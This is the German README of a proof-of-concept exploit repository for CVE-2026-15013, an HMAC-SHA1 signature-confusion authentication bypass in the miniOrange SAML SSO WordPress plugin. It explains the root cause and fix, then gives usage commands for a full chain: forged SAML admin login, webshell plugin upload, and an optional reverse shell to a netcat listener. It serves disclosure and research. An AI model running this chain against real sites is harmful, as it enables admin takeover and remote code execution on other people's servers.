CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Authentifizierungs-Bypass (PoC)

Proof-of-concept für CVE-2026-15013: nicht authentifizierter Authentifizierungs-Bypass über Signaturalgorithmus-Verwechslung (HMAC-SHA1) im miniOrange SAML Single Sign On – SSO Login WordPress-Plugin (Versionen bis einschließlich 5.4.3).

Nur autorisierte Tests. Verwenden Sie diesen Code ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist illegal.

Mitwirkende

CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-15013

Grundursache

Mo_SAML_Utilities::mo_saml_cast_key() vertraut dem SignatureMethod-Algorithmus aus der angreiferkontrollierten SAMLResponse. Wenn dieser auf HMAC-SHA1 gesetzt ist, interpretiert das Plugin den RSA-öffentlichen Schlüssel des IdP als HMAC-Shared-Secret um und verifiziert damit die Signatur. Jeder, der das IdP-Zertifikat lesen kann (häufig öffentliche Metadaten), kann eine gültige Assertion für jeden vorhandenen WordPress-Benutzer fälschen, einschließlich Administratoren.

Behoben in 5.4.4+ (unsichere Algorithmen / HMAC abgelehnt).

CVSS

9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Voraussetzungen

• Python 3.10+
• openssl-CLI (für Zertifikat-zu-Public-Key)
• Netzwerkzugriff auf die Ziel-WordPress-Seite und, für den automatischen Schlüsselabruf, auf den SAML-Deskriptor des IdP

Abhängigkeiten installieren:

pip install -r requirements.txt

Verwendung

Vollständige Kette (Enumeration, HMAC-Login, Admin, Webshell):

python3 exploit.py -u https://TARGET.example

Optionale Reverse Shell (zuerst Listener starten: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Nur Login (keine Shell):

python3 exploit.py -u https://TARGET.example --no-shell

Manuelle Überschreibungen:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Argumente

Ablauf

1. WordPress- und Plugin-Version erkennen (muss <= 5.4.3 sein)
2. ACS, SP-EntityID und IdP-Issuer ermitteln
3. IdP-Signaturzertifikat (Metadaten) abrufen und Public-Key-PEM (HMAC-Secret) ableiten
4. WordPress-Benutzer enumerieren
5. HMAC-SHA1-signierte SAMLResponse für jeden Kandidaten-Benutzer fälschen
6. Konto mit install_plugins auswählen (Admin)
7. Webshell-Plugin hochladen (exp/shell.php?c=id)
8. Optionale Reverse Shell über --lhost

Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Die Autoren und Mitwirkenden sind nicht für Missbrauch verantwortlich. Holen Sie vor dem Testen von Drittsystemen immer eine schriftliche Genehmigung ein. Die ursprüngliche Schwachstelle wurde im Rahmen verantwortungsvoller Offenlegung (Responsible Disclosure) gemeldet; dieses Repository demonstriert ausschließlich die Reproduktion zu Lern- und Abwehrzwecken.

Referenzen

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Plugin-Fix: miniOrange SAML 5.4.4+

Lizenz

Nur für Forschungszwecke. Keine Gewährleistung.